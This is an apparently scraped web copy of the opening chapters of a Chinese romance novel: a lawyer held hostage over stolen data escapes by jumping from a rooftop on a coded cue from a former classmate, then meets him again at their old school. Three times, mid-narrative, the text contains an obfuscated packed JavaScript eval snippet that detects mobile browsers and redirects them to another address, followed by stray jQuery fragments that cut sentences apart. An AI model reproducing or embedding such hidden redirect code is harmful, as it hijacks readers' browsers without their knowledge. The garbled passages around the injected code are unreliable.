《对照组[男暗恋]》
1. 重逢跳楼
左江市,立兴科技4楼办公室。
尚实青接过迟影手上的文件,皱眉看了眼:“你们律所要终止代理?”
迟影对他的反应并不意外。
对方几天前找到他们律所,想做产品数据合规,原以为是小案件,却没想到沟通后发现,对方非法破解并入侵其他公司系统,几乎把别人数据库搬空。
这种流氓般的做法,与其请律师,不如请高人。
迟影按下心里层出不穷的吐槽,淡定点点头:“是的,您的要求我们无法满足。违约金十个工作日内到账,届时麻烦您查收。”
她不打算收拾这个烂摊子,说完转身离开,没等她走到门口,忽然听到门外传来沙沙的脚步声。
迟影眉头一皱,心中莫名涌起一丝不祥的预感。
倏地,办公室大门被重力猛地撞开,发出震耳欲聋的巨响,一群黑衣人迅速涌入,以雷霆之势利落排开。
“不许动!”前排黑衣男子飞速举起手枪,正对着尚实青和迟影二人。
与此同时一股巨力拉扯着她往后,天旋地转之际,她脖子上横了一道冰冷的刀。
刀?
怎么会有刀?!
呼吸停滞,冷汗密密麻麻渗出,迟影这才发现眼前举枪之人是警察。
尚实青阴鸷的声音在身后响起:“谁再往前,我杀了她!”
他背贴墙壁,挟持着迟影挡在身前,与警察不动声色地对峙,慢慢移动到与天台连梯处,一步一步上行。
楼梯间昏暗的灯光闪烁不定,每一步都伴随着沉重的呼吸声和心跳声。
尚实青的手臂像铁钳一样紧紧扣住迟影,几乎要捏碎她的骨头。寒刃的刺痛越来越强烈,随着每次的移动,像电流一样不断刺激着她的神经。
手脚发凉,肾上腺素飙升,死亡逼近的紧促感让迟影几乎要窒息,大脑只能在濒死的刺激下勉强运转。
眼前警察举枪,身后疯子持刀。
她成了夹在中间的人肉盾牌,一具被死死禁锢的活靶子。
进退两难,动弹不得。
该如何脱困?
“砰”的一声,尚实青撞开通往天台的铁门,拽着她迅速闪入天台。
强光的刺激让迟影双眼感到一阵灼热的疼痛。她下意识闭上眼睛,被尚实青拖着走。
待视线清晰,才发现尚实青已经带她退到天台边缘。
风声鹤唳,刀悬天光。
尖刀和高楼,哪一个都是绝境。
迟影绝望地闭上眼睛,不禁有些后悔。早知如此,今天出门前应该给妈妈打个电话的。
……
两天前。
立兴科技会客厅内,钟表指向10点。迟影收回目光,心里略有不耐:“你们老板什么时候到?”
秘书还是那雷打不动的笑脸:“迟律师,老板说马上就来,麻烦您再等等。”
然而一小时前,她也是这么说的。
迟影叹口气。
她一早从北宁市打车来左江,3小时左右的车程,到立兴时正好9点。然而左等右等,这位老总却迟迟没有现身。
昨天查资料时迟影就觉得奇怪。公司老板叫尚实青,名字不算大众,但她有些耳熟。前后想了一晚上,也没想起这号人物。
不一会儿,门口终于传来响亮的声音:“刚才有些小事,耽搁时间了。”
来人一身黑色运动装,头发半长地耷拉着,像是有几天没洗了。他身后跟着一位长相清秀的男人,身子微微躬着,像是怕极了尚实青,抬眼看到迟影,一瞬间有些慌神。
尚实青介绍他身后的人:“这位是王林,我们的首席技术官。”
迟影起身迎接,轻皱了下眉——不仅是尚实青,她看王林都很眼熟。
按下心中隐约的不安,她礼貌微笑:“尚总好,王总好,我是沈格律师事务所的律师,迟影。”
尚实青快速打量她一番,轻哼一声:“迟小姐……啊不,迟律师,好久不见,没想到比之前更漂亮了呢。”
见迟影没说话,尚实青拉开一旁的椅子坐下,脸上笑意渐浓,却没什么温度:“不记得我了?”
一旁唯唯诺诺的王林小声提醒:“高中……”却刚开口就被尚实青“啧”的一声打断。
然而这俩字已经足够迟影回想起眼前的人物——尚实青和王林,都是她高中隔壁竞赛班的同学。
不仅如此,那时她和尚实青的关系可谓针锋相对,水火不容,换作平时她连话都不会多说一句。
奈何当下是工作场合,她应老板要求来谈代理合作,至少应该维持基本的专业度。
行,她忍。
“啊,您当时是1班。”迟影淡淡道。
“想起来了?”尚实青唏嘘,“也是,毕竟咱俩当时闹得不怎么愉快,对吧?”
迟影耐着性子沉默不语。
事实证明,高中的不愉快也可以延续到成年。迟影倒是见识到了资本的说谎能力。
据她老板介绍,立兴科技只是爬取公开渠道少量数据。而根据尚实青的描述,他们实际上破坏并且入侵对家公司系统,几乎将对方的数据库洗劫一空!
从民事侵权上升到严重的刑事犯罪,性质截然不同!
迟影看着眼前悠然自得的男人,不理解人怎么能无所谓成这个样子?
然而下一秒,她就知道了答案。
“迟律师。”尚实青笑着,慢悠悠转笔,“作为我的律师,想办法帮我们把那些证据偷来或者销毁吧。毕竟你大学是学软件工程的,不是吗?”
初夏的5月,窗外雨过天晴,迟影却只觉得阳光刺眼,闷热得让人喘不过气来。
回到北宁市,迟影立刻向老板汇报情况,强调她不会接这个项目。如果不能终止代理,她只能选择辞职。
说实话,律所给她的薪资算得上业内顶尖,她也才毕业不过两三年,正是需要钱的时候。
同时,律所想和立兴达成合作,不仅是看中立兴近期在业内快速发展的势头,更是希望通过立兴获得其背后外资集团的合作资格。
但利益权衡终究不该覆盖本心。
两天后她接到通知,律所综合考虑项目风险后决定同意申请,让她亲自商谈终止代理事宜。
第二次来立兴,迟影才注意到这公司在寸土寸金的地段包了整个园区。
尚实青办公室所在的楼不高,上次接待的秘书提过,是因为那栋楼里只安排了董监高的办公室和娱乐场所。
可在迟影记忆中,高中的尚实青在竞赛班并不突出。他竟然在二十七八岁的年龄,当上这种公司的首席执行官?
转念一想倒也不奇怪,当年的竞赛班可谓大神云集,一骑绝尘。最后班上40人中30人上了全国top2的大学。
即使纵观历届竞赛班,这种成绩也极为罕见。因此,同学们私下都称之为“魔鬼班”。
魔鬼班的第一名,似乎姓莫,所以迟影给他起了个外号——魔头。
进办公室前的迟影万万没想到,仅五分钟后,她便被人挟持到了天台。
刀子在脖子上不断收紧,迟影咽了下口水,不能这样坐以待毙。
她浅吸一口气,尝试劝道:“尚总您冷静。非法获取计算机信息系统数据罪一般也就三年。但如果您杀了我,那可能会变成无期甚至死刑。”
尚实青轻哼一声,低头在迟影耳边冷笑:“迟律师有所不知,我拿的数据中,有原始测绘数据。”
???
迟影心跳骤停,寒意漫过全身。
怪不得来了这么多警察,怪不得他要挟持人质。原始测绘数据……那是高敏感、强监管的数据啊!
再加上立兴一直与境外集团总部有密切的业务往来,也就是说,立兴可能把这些数据,卖给境外组织?
更可怕的是——为境外机构窃取敏感数据,情节特别严重的……也可能判无期或者死刑。
路堵死了。
她恐怕在劫难逃。
……
一阵急促的脚步声从警察后方传来,在紧张的氛围中显得异常清晰。伴随着手铐咔哒咔哒的声音,王林被两名警察压着往前走。前排的人迅速让开一条道路,让王林等人上前。
迟影的目光却越过王林,落在他身后之人身上。
来人样貌极其出众,肤色冷白,鼻骨峻挺,眼皮窄且淡,尾部弧度上扬,狭长的双眸半敛在睫影里,眸光清冽,透着几分孤高冷傲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059550|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他身着白色衬衫和西裤,身形修长,线条清隽,隐约可见劲瘦的腰身,像漫画中被寥寥数笔勾勒出的人物。
有的人即使分隔许久,也会在重逢的霎那,唤醒尘封的记忆。
上次迟影想起这位魔头时只隐约记得他姓莫。但再次见到的一瞬间,他的名字就像烫金书写一般出现在脑海中,清晰鲜明,熠熠生辉。
“莫秋?”尚实青的声音从身后传来,似乎难以置信。不过半秒,他便放肆地笑出声,“怎么,这么多年不见,你还是不放过我啊?”
莫秋表情漠然,戾冷的双瞳像结了霜。
他没搭理尚实青。
从来到天台开始,他的目光始终钉在迟影身上,又重又沉,像是要看穿她的灵魂。
一旁的王林崩溃跪地,祈求尚实青:“停手吧,我们不能一错再错啊!”
“我说怎么会有警察,原来你把我给卖了啊?”尚实青冷笑。
“我无法接受自己从一个天才,变成一个怪物!”
“天才?哈哈哈哈哈哈……”尚实青发狂地笑起来,“你真当自己是什么人物了?真正的天才,只有你身后那一位!”
真正的天才,只有莫秋一个。尚实青这句话倒是很符合迟影的认知。
在她的印象中,莫秋总是一个模糊的影子,藏在无数标签之下——学神,校草,天才,高冷,不食人间烟火。
当年在学校,莫秋有着难以动摇的支配地位。同学们私下都在传,他在数学和物理竞赛中拿到奥赛金牌后,选择了保送名额最少的生物竞赛作为主修科目。原因竟然是,想学点不擅长的。
不仅如此,男生第一次月考后照片被挂上公告栏,出众的长相仅一个下午便引爆校内各个八卦渠道,成为全校同学课前饭后的讨论焦点。
由于繁重的竞赛任务,他并不经常参加年级统一的期中期末考试。但只要他参加,第一就毫无悬念。
高二结束的时候,他不出意外地被保送到A大,之后便很少出现在学校。
那时的迟影与莫秋的交集甚少,除了一次诗词大赛,以及隔三差五从各种八卦消息中听说他恐怖如斯的事迹外,说是陌生人也不为过。
脖上的刀继续收紧,洇出鲜红的血液,把迟影的思绪强行拉回。
九年了。
原本不会再有交集的他,怎么会出现在这里?
身后的尚实青仍在发狂:“更何况,当初迈出这一步的时候,就注定了没有回头路!我早就做好了鱼死网破的准备!”
尚实青的经历迟影一点也无法共情。眼前的景象让她一直努力压抑着的症状逐渐显现,胸闷,头晕,恶心,肌肉紧绷,眼前已经开始泛白,再这么下去恐怕撑不住。
不仅如此,脖颈上尖锐的疼痛也无时无刻不在提醒她,她必须扭转局面,否则今天难逃一死。
她勉强让自己保持冷静。
其实不是没有生还的可能。
可是,需要一个契机。
就在这时,莫秋薄唇轻启,冷质的嗓音穿越人群传来,带着不容置喙的坚定:“迟影。”
迟影一愣。
他竟然记得她的名字?
莫秋的声音与他的名字一般,带着些许凉意,溶解在初夏的闷热中,让迟影方才的焦躁不安悄然消弭。
“绿珠完好,可以放心。”
莫秋的话音落地,在场的人有一瞬间怔楞,时间似乎在那一刻被暂停。所有人都懵逼地看着他,脑海中飞过同样一句话——
这没头没尾的,说什么呢?
突如其来的这句话甚至让尚实青愣了半秒,迟影敏锐察觉脖子上的寒刃有细微松懈。
她屏住呼吸,探究的目光穿过众人,直直望向莫秋,从他极其细微的点头中得到肯定的回答。
“你他大爷的说什么胡话……”
尚实青的话还未骂完,迟影果断而决绝地向侧后方一仰。她这一动作太过突然,尚实青还未来得及反应,就被迟影的推力连带着失去平衡,一起从天台坠落!
周围一切都变得模糊,众人混乱的尖叫声被呼啸而过的风声掩埋。在闭眼瞬间,迟影听到内心的声音。
原来你还记得啊,莫秋。
2. 打过他喜欢的人
正午阳光炙热,透过微掩的窗帘在白色病床上撒下斑驳的光影。
“小影!你醒了!”
迟影缓慢睁开双眼,映入眼帘的是邓月菲惊喜的面容。她还没反应过来,就被对方一个猛扑紧紧抱住,脖颈处感觉到些许湿润。
“吓死我了!”邓月菲头埋在她颈间,止不住地哽咽颤抖,“你差点没命了你知道吗!”
迟影想起昨天发生的一切,也仿佛是做了场梦。她掩下那股后知后觉的心悸,抱住邓月菲安慰道:“没事,我现在不是好好的嘛。”
“好?轻微脑震荡!”说到这邓月菲气不打一处来,后怕的感觉让她推开迟影一顿痛骂,“你胆子真是肥了,一声不吭就跳楼?要不是下面放了垫子,你人都没了!”
迟影张张嘴巴,想解释又被对方打断。
“我当时正好给你打电话,才知道你进了医院!警方本来要通知你父母,被我拦下来了。你做决定前也考虑考虑爸妈啊?”
“你别生气。”迟影见她真急了,赶忙拉着她的手解释,“我知道下面有垫子才跳的。”
“你知道?你是脚底板长眼睛了能知道?”邓月菲越说越激动,“做笔录的时候警方跟我说了情况,你是在办公室被挟持,临时拉到天台的!”
“警方明明是在你们上天台以后才紧急放的垫子!”
“你怎么可能知道!”
即使有心理准备,迟影现在回想起来当时的情形还是有些后怕。她从不做没有百分百把握的事情,但这次确实冒险。
“尚实青把我跟他绑在一起,就是为了避免被狙击射杀。贸然开枪可能会误伤我,所以警方迟迟没有动手。”
迟影拉住邓月菲的手,轻轻安抚:“通常使用救生气垫的极限高度是16米。办公室层高与普通居民楼差不多,因此天台应不超过15米。退到天台边缘后,我相信即使是为以防万一,警方也会布置充气垫,但问题是,这需要时间。”
邓月菲听到她的分析一愣,很快冷静下来:“所以警方把王林带到了天台?”
“对,让他和尚实青对峙,就是为了拖延时间。”迟影垂眼,感受着水杯的温度,“但我被尚实青挟持,看不到身后的情况,只能通过其他办法了解警方什么时候布置完成。”
“尚实青虽然是个变态,但智商极高。如果警方直接告诉我或者比手势,很有可能被他看破,直接抹脖。”
“所以我只能等一个契机。”
“而魔头……莫秋的那句话,就是契机。”
邓月菲叹口气,确认迟影真不是冲动跳楼,才给她倒了杯水,在一旁坐下问:“我听说了,那句话是什么意思?”
“绿珠,是指‘绿珠坠楼’这个典故。他告诉我‘绿珠完好,可以放心’,就是在暗示我楼下准备就绪,可以放心跳。”
“什么……”作为理科生的邓月菲听得云里雾里,杏目圆睁,“什么典故?我怎么不知道?而且他又怎么确定你知道?”
迟影望着窗外,徐徐叹口气:“高中参加诗词大赛时,我和他比过一道题,涉及到这个典故。”
“高中?九年前?”邓月菲声音拔高,更觉匪夷所思,“不是……他还记得九年前的事?”
不怪她震惊,连迟影都难以置信。所以跳楼前看见他点头,她才确定自己的猜测不是失心疯导致的臆想。
邓月菲见她不说话,又换了个思路:“难不成,你们很熟?”
“不熟,基本没交集。”迟影答得干脆,“但有点难办。”
“什么难办?”
“他可能确实记得我。”
从刚才醒来开始,迟影就在尝试回忆自己跟莫秋的交集。除了诗词大赛外,还真想起来一个,但不是什么好兆头。
“有次拍宣传片后,我打了他……”
邓月菲:“?”
迟影仔细想了想措辞:“喜欢的人?”
“???”
“被他看到了。”
“?????”
邓月菲瞪着眼消化了好一会,半晌才回过神:“什么时候?”
“应该是高三。”迟影苦恼地叹了口气,“不会因为这个记恨我吧?”
“具体怎么回事……”邓月菲还没来得及追问就被突然响起的手机铃声打断。她博士导师说项目的代码出了bug,催命似的催她回去调试。
邓月菲和迟影是J大软件学院的同班同学。后来迟影从大三开始辅修法律,跨专业保研至A大法学院,邓月菲则顺利在A大直博。
九年的相处,两人比照镜子还了解对方。
“赶紧回去吧,再挺一个月毕业,别让人趁机挑刺。”迟影摆摆手。
“莫秋他们还在警局配合调查,因为涉及的信息敏感,明天才能出来。”她一边骂骂咧咧地收拾东西,一边跟迟影交代,“你情况特殊,警方说可以出院后再去做笔录。”
说完她指了下旁边:“那个蛋糕是警方听说你这两天过生日,特意买来慰问的。”
迟影本准备下床活动活动,闻言惊讶地挑挑眉,转头看一旁的桌子。
蛋糕插着一支“生日快乐”的彩色标签,被盛在素白的瓷盘中,青绿色的慕斯淋面上嵌着鹅黄色小花,像被秋阳晕染般温静淡雅。
仔细辨认的话,似乎是桂花?
“我记得你小名叫阿桂吧?”邓月菲边收拾书包边闲聊,“巧了,跟你挺搭。”
……这也未免太巧了。
而且警察竟然还送蛋糕?简直闻所未闻。
“警察怎么知道我过生日?”她疑惑地转头。
“我也不知道,可能看了你身份证?”邓月菲仍念叨着,突然想起什么事,惊得一叫,“天啊!我怎么把这事给忘了!”
“?”
“你当时跳下来的时候,位置选的不太好。”
……迟影气得太阳穴生疼,眼皮直跳。那位置是她能选的吗?
“虽然垫了垫子,但落下来的位置有点偏,掉到了角上。”
“把停在那里的车砸坏了。”
“那辆车,似乎是莫秋的。”
“……”
迟影一口水梗在嗓子里,上下不得,好悬没直接灌进气管。
什么?
她一瞬间以为自己听错了。
“砸坏……是砸到什么程度?”迟影端着杯子的手都在抖。
“具体我也不清楚,等莫秋被放出来后你问问他吧。”邓月菲飞来一个wink,“告辞!”
干瞪着眼愣了半天,她才苦笑一声,勉强接受了这个事实——人不可能会一直倒霉,除非一直倒霉。
迟影吃完蛋糕,又用半天时间处理好工作上余留的事情,正准备躺下休息时,听到微信一震。
是高中班主任齐老师发来的消息。
“小影,我刚听说你跟尚实青的事。警方说你现在在医院,还好吗?”
迟影这才想起,齐老师当年同时带1班和2班的语文课,所以尚实青和王林也是齐老师的学生。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059551|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的心情应该很复杂吧。
迟影自从高中毕业后很少回左江市,更没回过学校,干脆跟对方约了第二天见面。
卓亚高中坐落在左江市偏北的郊区。
道路两旁树木蓊郁,走廊间传来阵阵读书声,仿佛诉说着许多细腻的遗憾:未解开的数学题,算不清的受力分析,和只会背诵却无法理解的阅读文章。
根据齐老师发来的消息,迟影就近上到四楼,正在标识栏处看地图之时,余光察觉到另一侧的楼梯口似有人影闪过。
她下意识转头看去,只见一个白衣黑裤的修长身影正从那边下楼,几乎瞬间便没入楼梯间,只剩眼底一抹残影。
她没在意,对照着墙上的标识找门牌号,发现办公室就在另一侧楼梯口不远处。
“迟影。”她刚走过去,就看见齐老师站在走廊里冲她挥了挥手,“这里!”
迟影本以为自己不会有太大感触,但当再次看到齐老师的瞬间,竟一时失了语。
她依然腰背笔直,带着文人傲骨的风采,只是眼角多了几簇花枝,额前不经意探出数根银发。
迟影鼻尖一酸:“齐老师好。”
“我正好送人出去,一转眼就看见你了。”见迟影走近,齐老师感叹,“这么久不见,出落得愈发漂亮了。”
她并非客套,面前的姑娘头小脸小,五官精致立体,脸部线条温和流畅,一双眉眼最为出彩,小鹿似的大眼睛配上眼尾平和的线条,笑起来像溪水温润的蔷薇石英。
齐老师搬来一把椅子,笑着拍拍她肩:“坐吧。”
看着齐老师的动作,迟影仿佛回到十六岁那个冬天。那时的她由于把重心放在了理综上,语文成绩直线下滑。
齐老师当时也是搬了一把椅子放在身旁,让她坐下,耐心听她讲述无法兼顾语文和理综的苦恼。
当时的她只顾着跟齐老师诉说困惑,没注意到身后的门被推开,走进一位穿着单衣的男生。
男生脚步一顿,目光在她身上落了半秒,不动声色地收回,随后将习题递给一旁的数学老师。
“这么快。”数学老师惊讶地翻了翻,止不住赞叹,“不错啊。你接下来那个竞赛只要正常发挥,问题不大。”
他满意地将习题放好:“回去吧。”
竞赛?
迟影正跟齐老师说着话,耳朵里飞入这个词,让她本就难过的心情雪上加霜。
不用回头都知道是竞赛班大佬。
她时常好奇,这些人的脑子都是怎么长的,为什么那么难的竞赛都不在话下,还游刃有余。
对比之下,自己就像个菜包。
她暗叹口气,努力摒除掉杂念,将注意力重新放回跟齐老师的谈话上。
“我听你妈妈说,你之前喜欢背古诗?”齐老师问。
“是的。”迟影有些不好意思,“但现在学习任务重,很久没看过了。”
齐老师笑笑,从书柜上拿出一本资料递给迟影。
“古诗词资料集?”
“嗯,我自己整理的。”齐老师解释道,“你需要加强的是文言文和作文。有之前的兴趣做基础,多看看这个,或许事半功倍。”
迟影抱着材料目光炯炯:“谢谢老师,我会好好学习。”
她立刻起身准备回班里好好研究下新资料,不料还没来得及转身,就被一道清冷的声音打断。
“齐老师,资料可以给我吗?”
迟影动作一顿,循声抬眸,撞上少年如黑玛瑙一般的眼睛。
3. 人中龙与卖炭翁
少年高她一头,皮肤冷白,五官英气舒展,眼皮很窄,随着睫毛微抬而掩去阴影,漆黑的双瞳扫过,仿佛看什么都不入眼底。
这像新月之夜般乌黑的眼睛,一定能藏好多事。迟影想。
男生穿着单衣,身上还带了些窗外化雪时冷爽而清新的味道。他的目光并未在她身上停留,而是盯着资料集。
迟影立刻收紧身前的文件。
“莫秋?”齐老师不解,“你要这个东西干嘛?”
莫秋?
迟影愣了下。
原来这就是同学们整日膜拜的竞赛班第一名。
……可就算是第一名,也不能随意抢别人东西呀?
莫秋终于把视线从资料集上移开,看向齐老师:“提高语文成绩。”
“你?”齐老师不可思议地瞪大双眼:“你还要往哪提?”
莫秋仍然坚持:“最近有些吃力。”
齐老师无语到有些磕巴:“你管138分叫吃力?”
……138分。
迟影掂量了下手中的资料,用来扇巴掌应该挺疼的。
但也就是想想。
眼看僵持不下,她也不想让齐老师为难,于是主动提议:“齐老师,我把这份资料拿去复印室复印,明天带给您。”
齐老师连忙摆手:“不用,他……”。
“没事。”迟影将凳子放好,又拿起资料。
“毕竟我看莫同学……”她抬眸对上男生冷淡的视线,善解人意地笑笑,“迫切地需要帮助。”
……
思绪被窗外的蝉鸣带回。
“小影,你现在有男朋友吗?”问完立兴的事情,齐老师突然转变话题。
“啊?”迟影回过神来,连连摆手,“没有,工作太忙了。”
齐老师迟疑了下,还是问出口:“易时安呢?”
“……”
迟影笑容一僵。
她没想到会从齐老师口中听到这个名字。更没想到再次听到这个名字,自己的心跳还是会漏几拍。
以为早就释怀了,果然还是做不到无动于衷。
易时安从小学开始跟她同班同学,一直到高中他考进了1班,迟影选择留在实验班2班,两人才分开,也算半个青梅竹马。
两人样貌极其出众,关系也不错,因此当时很多人传他们在谈恋爱。但对当时的他们来说,学习是第一要紧事,所以两人都没有再往前迈一步,甚至为了避嫌,偶尔遇见也只是简单打个招呼。
“高中我们就是普通同学。”她说。
“我知道。”齐老师笑起来,“其实当时这事传的这么厉害,老师也有管理不力的责任。但我们都认为,你们对目标太坚定了,不会为了感情放弃学业。”
迟影内心苦笑,还真是一针见血。
“但是听说你们后面……”齐老师声音放轻,似乎有些担心这个问题会引起迟影的反感。
“是的,毕业后在一起了。”她顿了下,“但大四上学期分开了。”
“方便问问原因吗?”齐老师问。
迟影回想起最后一段时光,那种久违的窒息感翻上心头,嗓子都有些发紧。
她无奈地笑笑:“或许就像您说的,我们对目标都太坚定,不会为了感情放弃学业吧。”
分别时竟还有些不舍。迟影看着齐老师那染了时光的面庞,似乎也是在向自己的青春正式道别。
怎料这股悲春伤秋的愁思还未升起,就见齐老师突然凑上前来:“要不,我给你介绍个男朋友吧?”
???
突如其来的发展让迟影吓一愣。
“不不不,您别开玩笑了。”迟影反应过来连忙摆手,“我工作太忙,别耽误了人家的大好前程!”
齐老师还想继续劝说,迟影赶忙将她推回办公室,简单告别后转身就跑。
望着迟影仓惶离开的背影,齐老师叹了口气。
看来有的人,任重而道远啊。
从办公室出来才发现已经5点。
教学楼外洁白的栀子花在发呆,微风一吹,就慵懒地摇曳两下,仿佛从来不曾沾染烦恼。
迟影沿着走廊慢慢踱步,不知不觉来到连桥。
1班和2班分别坐落在桥这端的两侧,连桥的另一端则通往实验楼。
实验楼中大部分教室给学生们做实验用,还有一些教室主要作为期中期末时的考场,所以平时空着。
仔细想想,上次来这里还是高考结束后的暑假。当时迟影返校与老师们告别,正巧遇上易时安。
易时安带她来实验楼取书包,路上向她说了许多这三年空缺的时光。
“没有实验任务的时候,我们会在这里自习,不同主修科目的人用不同教室。”
易时安指了指左侧的几间教室:“数学组的人通常待在504,物理组502,化学组508。”
向左侧尽头走去,易时安接着说道:“其实这些教室平常上锁,但莫秋做了几个门卡,可以刷开教室的门。”他拿出一张棕色卡片,在黑色的门锁上一刷,再向下按把手。
咔嗒一声,门开了。
拿上书包往回走,迟影指着右边的尽头说:“看来我运气比较好,无意间发现6楼右边那间教室的门不锁,所以平常待那里。”
易时安闻言脚步一顿,诧异地问:“是601吗?”
迟影也随着停下脚步,看着他点头:“嗯。”
易时安眉头微蹙,似是有些不解:“那间教室,应该是上锁的。”
“嗯?”迟影仔细想了下,再三确认自己没记错,“不会吧?我基本天天都去,从高一到高三,这间教室从没锁过。”
为了印证自己的说法,二人来到601门口。迟影看着紧闭的大门,惊讶地说不出话。
见鬼了吗?自己明明几个星期前还在这里复习!
易时安似乎想起什么,转头问迟影:“教室只有你一个人吗?”
“嗯。”
“一般什么时候来?”
“中午。”迟影仔细回忆,“有特殊情况时下午会来。”
易时安没接话,看着眼前的大门面色复杂,若有所思。
走廊另一侧突然传来脚步声,灯光昏暗,两人看不清来人的长相。
易时安拉上迟影立刻转身飞奔:“门卡的事不能被发现,我们传给了下一届学弟学妹用……”
回忆结束,迟影突然打了个冷颤——这里不会闹鬼吧?
当年突然被打断,后来她也没再仔细琢磨这事,现在站在阴冷的走廊内想想,确实有点渗人。
思索再三,迟影决定相信那句话:打败害怕的方法就是面对它。
从楼梯上到六楼。
601的教室,门开着。
淡粉色的晚霞给黑板披上了一层彩纱。窗外的参天大树枝繁叶茂,一些俏皮的枝叶像是好奇般探向窗边,随着风的形状向人招手。
教室里的桌子仍然是当年摆放的样子。
时间的长短在故地面前总是不值一提。迟影看着眼前的景象,一瞬间以为自己只是放了个暑假,没有告别重逢,也从未离开过这里。
第三排右侧靠窗,那是她曾经最喜欢的位置。
迟影拉出椅子坐下,指尖抚轻抚桌面。抽屉里干干净净,早已没有当年那些不知道那里冒出来的废纸屑。
等等……这是什么?
在抽屉底部略微靠外的位置,她指尖触摸到凹凸不一的划痕。似乎不是无规律的乱痕,而是什么图形。
迟影打开手机自带的手电筒,朝抽屉底部照去。
似乎是,两个英文字母和一个标点符号?
——“Id.”
下面还跟了串数字:“2015.05.19”
也就是……十年前的今天???
换算一下,正是她高二的时候,可她为什么从没发现过?
等等,如果这个日期是准确的,那么是否意味着,当时把这个教室当自习室的,不止她一个人?
甚至坐这个位置的,也不止她一个人?
她还未来得及思考,突然听到后门处传来一声细响,蓦然回头,只见门外的暗处伫立着一个白衣黑裤的挺拔身影。
迟影屏住呼吸,借着窗外的晚霞定睛细看。
线条分明的面庞,深邃俊朗的五官。即使光线模糊,也能使人一眼认出。
她几乎不敢相信自己的眼睛,试探的声音却早于理智做出决定。
“莫秋?”
男人衣袖挽在小臂上,宽肩窄腰,双腿修长,缓步朝她走来,临近之时侧过身,将她身后的半扇窗关上。
夕阳下,他的脸更显清晰俊朗。乌黑的短发利落整齐,眉似长剑,瞳若点漆,带着隐约的距离感。
他并未作声,但目光落在她身上。
迟影几乎下意识想问他为什么会在这里,但话到嘴边刹了车。毕竟二人并不熟识,如果没有这次的事,估计见面都不会打招呼,这么问多少有些冒犯。
其实想想也知道,大概率也是借这个机会回访母校,来实验楼故地重游,碰巧路过吧。
她决定转变话题,讨论些跟立兴相关的事:“谢谢你。”
莫秋半靠在窗边,轻挑了下眉。
“立兴的事情,某种程度上来说是你救了我。”
她顿了顿。
“不过,你为什么会在那里?”
迟影隐约记得听谁提起过,莫秋从A大本科毕业后就去了美国顶尖的M大读博。仔细想想,现在正应该是他博士毕业的关键节点。
所以,他为什么会出现在立兴?
莫秋定定看她,双眸在傍晚的余晖下呈琥珀色。轻风抚过,携来细微的乌沉香。就像他本人,矜贵而疏离。
就在迟影以为他不想回答,准备放弃之时,终于听到他低磁的声音。
“因为我看迟同学……”
他不紧不慢地顿了下,目光在眉骨投下的阴影中显得意味深长:“迫切地需要帮助。”
“……”
迟影闻言一怔,干巴地眨了几下眼睛。
这话乍一听也没什么问题,毕竟她当时命悬一线,处境怎么也算不上乐观。
只是,怎么总觉得有点耳熟?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059552|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“啊……”她抛开杂绪,不求甚解地点点头。
另外,还有更不乐观的一件事。
“那个……”迟影轻轻咬了咬嘴唇,语气中带了些试探,“我听我朋友说,你开来的车被砸坏了……”
莫秋向后轻靠了下,骨节分明的手指轻轻摩挲着腕表,声音淡淡的听不出情绪:“嗯。”
“严重吗?”
“有点。”
“保险公司能赔多少?”
“80%。”
迟影踌躇片刻,继续问:“除掉保险公司和尚实青会赔的,还剩多少?”
莫秋没有回答,而是撩起眼皮,不动声色地看着迟影。
“我是想说,毕竟是我造成的后果,就算是出于救命之恩,我也应该赔你。”迟影认真地答。
听到她的解释,莫秋不咸不淡地“啊”了一声,轻轻点头。
迟影紧接着问:“所以,在理赔之外的,大概多少钱呢?”
莫秋:“30万。”
“……”
?
多多多少?
迟影瞪着眼睛,宕机了。
贫穷不仅会限制人的想象,还会让人高估自己的能力。
从一开始就不该问他!这下好了,得用30万赎回自己道德的瑕疵!
不是……这车本身得多少钱啊?!
原本如火如荼的对话突然陷入僵局。迟影刚才对青春的怀念和感慨一瞬间烟消云散。
青春是什么?
青春就是老同学多年后重逢,一个人中龙,一个卖炭翁。
……
俺们卖炭翁也是有尊严的!
作为律师,迟影几乎下意识想让对方掏出保单和修车费用明细,但这话又被她强行咽了回去。
对方曾是高不可攀的学神,也是她的半个救命恩人,更何况如果迟影没主动提这事,对方似乎也没打算向她要赔偿。
这么想来,讹她的可能性不大。
如果现在面对面让对方拿证据,反倒显得她不识好人心。
迟影深吸一口气,强装镇定:“我大部分钱都存在理财中,手上现钱不多。这样吧,我先给你转一些,剩下的之后给你。”
她颤颤巍巍地掏出手机,声音还是努力保持平稳:“麻烦你开下收款码,我扫你。”
